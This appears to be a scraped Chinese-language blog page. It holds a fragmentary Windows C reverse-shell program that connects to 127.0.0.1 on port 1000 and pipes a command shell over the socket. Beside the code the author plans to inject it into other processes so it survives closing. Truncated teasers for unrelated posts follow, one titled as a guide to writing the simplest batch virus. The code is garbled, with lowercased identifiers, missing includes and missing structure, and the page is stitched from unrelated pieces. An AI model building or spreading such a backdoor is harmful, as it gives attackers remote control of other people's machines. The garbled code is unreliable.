#include
#include
#pragma comment(lib, "ws2_32.lib")
int cmdshell(socket s)
if ( lobyte( wsadata.wversion ) != 2 ||
hibyte( wsadata.wversion ) != 2 )
socket s=wsasocket(af_inet,sock_stream,ipproto_tcp,null,0,0);
if (invalid_socket==s)
sockaddr_in saddr;
saddr.sin_family=af_inet;
saddr.sin_port=htons(1000);
saddr.sin_addr.s_un.s_addr= inet_addr("127.0.0.1");
int rev=connect(s,(sockaddr*) &saddr,sizeof(saddr));
if (socket_error==rev)
char buf[512]="歡迎使用這個小東西!/n";
rev=send(s,buf,strlen(buf),0);
if (socket_error==rev)
cmdshell(s);
closesocket(s);
wsacleanup(); //加了這兩句,視窗退出的時候會自動關閉視窗!!
return 0;
}//為什麼將cmdshell與main順序換一下,就會有亂碼產生?????
另外,在解決上面問題的基礎上,這個**目前還需要做如下的完善:要插入其他程序,否則,1:直接執行這個程式後關閉視窗,2:在命令列下執行這個程式,然後退出命令列。在上面兩種情況下,這個程式會自己主動結束,下一步要搞定這個東西。
搭配例項的常見cmd命令 最簡單bat病毒編寫
cmd命令如下 echo 1 1.txt 覆蓋1到1.txt到當前目錄 echo 114514 1.txt 追加寫入1到1.txt到當前目錄 dir 顯示當前目錄檔案 d 進入d盤 cd.進入當前目錄 cd 進入上一級目錄 cd 資料夾名 進入該資料夾 tree 資料夾 顯示當前資料夾的結構 描述可...
最簡單的加密
最簡單的加密 package com.util 類 介面的目的 作用 功能 繼承於何種父類,實現的介面 實現的演算法 使用方法 示例程式.version v1.0 2012 3 22 author xiahui public class encrypt system.out.print 加密 s n...
最簡單的makefile
hello.c的內容如下 include int main makefile 的內容如下 hello.exe hello.o gcc o hello.exe hello.o hello.o hello.c gcc c hello.c clean rm hello.o hello.exe window...